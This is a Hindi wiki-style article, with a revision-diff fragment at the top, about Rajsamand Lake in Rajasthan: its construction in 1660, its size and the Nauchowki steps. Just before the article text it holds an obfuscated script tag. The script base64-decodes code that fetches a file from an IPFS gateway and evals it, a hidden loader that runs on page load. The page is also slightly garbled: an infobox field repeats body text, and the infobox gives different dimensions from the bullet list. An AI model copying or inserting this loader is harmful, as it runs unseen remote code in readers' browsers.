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− | *राजसमन्द झील की पाल, नौचौकी व इस ख़ूबसूरत झील के पाल पर बनी छतरियों की छतों, स्तम्भों तथा तोरण द्वार पर की गयी मूर्तिकला व नक़्क़ाशी देखकर स्वतः ही देलवाडा के जैन मंदिरों की याद आ जाती है। | + | *राजसमन्द झील की पाल, नौचौकी व इस ख़ूबसूरत झील के पाल पर बनी छतरियों की छतों, स्तम्भों तथा तोरण द्वार पर की गयी [[मूर्तिकला]] व नक़्क़ाशी देखकर स्वतः ही देलवाडा के जैन मंदिरों की याद आ जाती है। |
*झील के किनारे की सीढियों को हर तरफ से गिनने पर योग 9 ही होता है, इसलिए इसे नौचौकी कहा जाता हैं। | *झील के किनारे की सीढियों को हर तरफ से गिनने पर योग 9 ही होता है, इसलिए इसे नौचौकी कहा जाता हैं। | ||
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10:33, 10 मार्च 2012 का अवतरण
राजसमन्द झील
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नाम | राजसमन्द झील |
देश | भारत |
राज्य | राजस्थान |
नगर/ज़िला | राजसमन्द |
निर्देशांक | 25.07° उत्तर - 73.88° पूर्व |
अधिकतम लंबाई | 6.4 किमी (लगभग) |
अधिकतम गहराई | 18 मीटर (लगभग) |
अधिकतम चौड़ाई | 2.82 किमी (लगभग) |
गूगल मानचित्र | गूगल मानचित्र |
निर्माता | महाराणा राजसिंह |
निर्माण काल | 1660 ई. |
बाहरी कड़ियाँ | झील के किनारे की सीढियों को हर तरफ से गिनने पर योग 9 ही होता है, इसलिए इसे नौचौकी कहा जाता हैं। |
अद्यतन | 13:30, 7 जनवरी 2012 (IST)
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> राजसमन्द झील राजस्थान के शहर राजसमन्द में स्थित है। राजसमन्द झील महाराणा राजसिंह द्वारा सन् 1660 ई. में बनवायी गयी थी।
- चालीस लाख रुपये की लागत की राजसमन्द झील मेवाड़ की विशालतम झीलों में से एक हैं।
- 7 किलोमीटर लम्बी व 3 किलोमीटर चौडी यह झील 55 फीट गहरी हैं।
- राजसमन्द झील की पाल, नौचौकी व इस ख़ूबसूरत झील के पाल पर बनी छतरियों की छतों, स्तम्भों तथा तोरण द्वार पर की गयी मूर्तिकला व नक़्क़ाशी देखकर स्वतः ही देलवाडा के जैन मंदिरों की याद आ जाती है।
- झील के किनारे की सीढियों को हर तरफ से गिनने पर योग 9 ही होता है, इसलिए इसे नौचौकी कहा जाता हैं।
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